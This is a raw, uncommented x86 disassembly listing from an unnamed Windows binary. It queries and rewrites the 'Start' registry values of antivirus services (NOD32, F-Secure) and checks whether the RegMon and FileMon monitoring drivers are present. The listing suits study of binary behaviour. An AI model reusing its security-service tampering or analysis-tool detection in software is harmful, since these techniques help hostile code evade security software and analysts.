push ecx
call fcn.004f175f
push 0x51d2dc
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x441dd4
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x441da8
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x441dce
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov dword [ebp - 0x18], 1
jmp 0x441f14
cmp eax, 3
je 0x441e15
cmp eax, 4
jne 0x441f14
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51d26c
push eax
call fcn.004f175f
push 0x51d220
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x441ec7
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x441e9b
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x441ec1
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push edx
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp + 0x1b4]
push 4
push eax
push 4
push 0
push str.Start
push ecx
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [ebp - 0x14]
push edx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesNOD32krn
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x28c]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x20]
push ecx
push edx
push 0
push str.Start
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x442231
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x442036
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51d17c
push eax
call fcn.004f175f
push 0x51d148
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x44202a
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x441ffe
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x4420f8
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x4420f8
cmp eax, 2
jne 0x442124
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d17c
push edx
call fcn.004f175f
push 0x51d148
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x4420f1
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x4420c5
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x4420eb
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov dword [ebp - 0x18], 1
jmp 0x442231
cmp eax, 3
je 0x442132
cmp eax, 4
jne 0x442231
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d10c
push ecx
call fcn.004f175f
push 0x51d0c0
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x4421e4
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x4421b8
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x4421de
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push eax
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov edx, dword [ebp - 0x14]
lea ecx, [ebp + 0x1b4]
push 4
push ecx
push 4
push 0
push str.Start
push edx
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesF_Secure_Filter
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x28c]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x20]
push eax
push ecx
push 0
push str.Start
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x442558
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x44235d
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d04c
push edx
call fcn.004f175f
push 0x51d014
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x442351
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x442325
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x44241f
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x44241f
cmp eax, 2
jne 0x44244b
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d04c
push ecx
call fcn.004f175f
push 0x51d014
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x442418
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x4423ec
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x442412
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov dword [ebp - 0x18], 1
jmp 0x442558
cmp eax, 3
je 0x442459
cmp eax, 4
jne 0x442558
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51cfd4
push eax
call fcn.004f175f
push 0x51cf84
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x44250b
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x4424df
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x442505
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push edx
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp + 0x1b4]
push 4
push eax
push 4
push 0
push str.Start
push ecx
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x442682
lea eax, [ebp - 0x40]
push 0x51cf14
push eax
mov byte [ebp - 0x140], 0
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x5190b4
push edx
call fcn.004f175f
push 0x51cf14
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov edx, dword [0xe56d24]
mov ecx, dword [0xe56d44]
mov eax, dword [0xe56db0]
add esp, 0x20
inc edx
inc ecx
test eax, eax
mov dword [0xe56d24], edx
mov dword [0xe56d44], ecx
jne 0x44263e
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x442612
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x442638
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov edx, dword [ebp - 0x2d4]
mov eax, dword [edx + 4]
mov eax, dword [ebp + eax - 0x2d0]
cmp dword [eax + 0x30], 0xffffffff
je 0x4426bd
push str.close
jmp 0x44269d
mov ecx, dword [ebp - 0x2d4]
mov edx, dword [ecx + 4]
mov eax, dword [ebp + edx - 0x2d0]
cmp dword [eax + 0x30], 0xffffffff
je 0x4426bd
push 0x5142f8
lea ecx, [ebp - 0x2c8]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x14]
xor esi, esi
push eax
push 0x20019
push esi
push str.SYSTEMCurrentControlSetServices_regM
push closesocket
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x28c]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x20]
push edx
push eax
push esi
push str.Start
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4427cd
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x44275a
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51cebc
push ecx
call fcn.004f175f
add esp, 0x10
lea edx, [ebp - 0x140]
mov dword [0xe56d78], 1
push edx
jmp 0x4427a8
cmp eax, 2
jne 0x4427cd
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51cebc
push edx
call fcn.004f175f
add esp, 0x10
lea eax, [ebp - 0x140]
mov dword [0xe56d78], 1
push eax
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov esi, 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x44284c
lea edx, [ebp - 0x40]
push 0x51ce80
push edx
mov byte [ebp - 0x140], 0
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x5190b4
push ecx
call fcn.004f175f
mov ecx, dword [0xe56d24]
add esp, 0x14
inc ecx
lea edx, [ebp - 0x140]
mov dword [0xe56d24], ecx
push edx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
lea eax, [ebp - 0x14]
xor esi, esi
push eax
push 0x20019
push esi
push str.SYSTEMCurrentControlSetServices_fileM
push closesocket
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x28c]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x20]
push edx
push eax
push esi
push str.Start
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x442953
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x4428e4
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51ce08
push ecx
call fcn.004f175f
add esp, 0x10
mov esi, 1
lea edx, [ebp - 0x140]
mov dword [0xe56d7c], esi
push edx
jmp 0x442933
cmp eax, 2
jne 0x442953
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51ce08
push edx
call fcn.004f175f
add esp, 0x10
mov esi, 1
lea eax, [ebp - 0x140]
mov dword [0xe56d7c], esi
push eax
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x442a3c
lea edx, [ebp - 0x40]
push 0x51cdc8
push edx
mov byte [ebp - 0x140], 0
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x5190b4
push ecx
call fcn.004f175f
mov ecx, dword [0xe56d24]
mov eax, dword [0xe56db0]
add esp, 0x14
inc ecx
test eax, eax
mov dword [0xe56d24], ecx
jne 0x442a15
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x4429e9
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x442a0f
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push eax
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
lea ecx, [ebp - 0x188]
call fcn.004f076e
lea ecx, [ebp - 0x2d4]
call fcn.004f076e
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 1
call fcn.004f0714
lea ecx, [ebp - 0x2c0]
call fcn.004f05fb
lea ecx, [ebp - 0x174]
mov byte [ebp - 4], 0
call fcn.004f0714
lea ecx, [ebp - 0x174]
call fcn.004f05fb
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret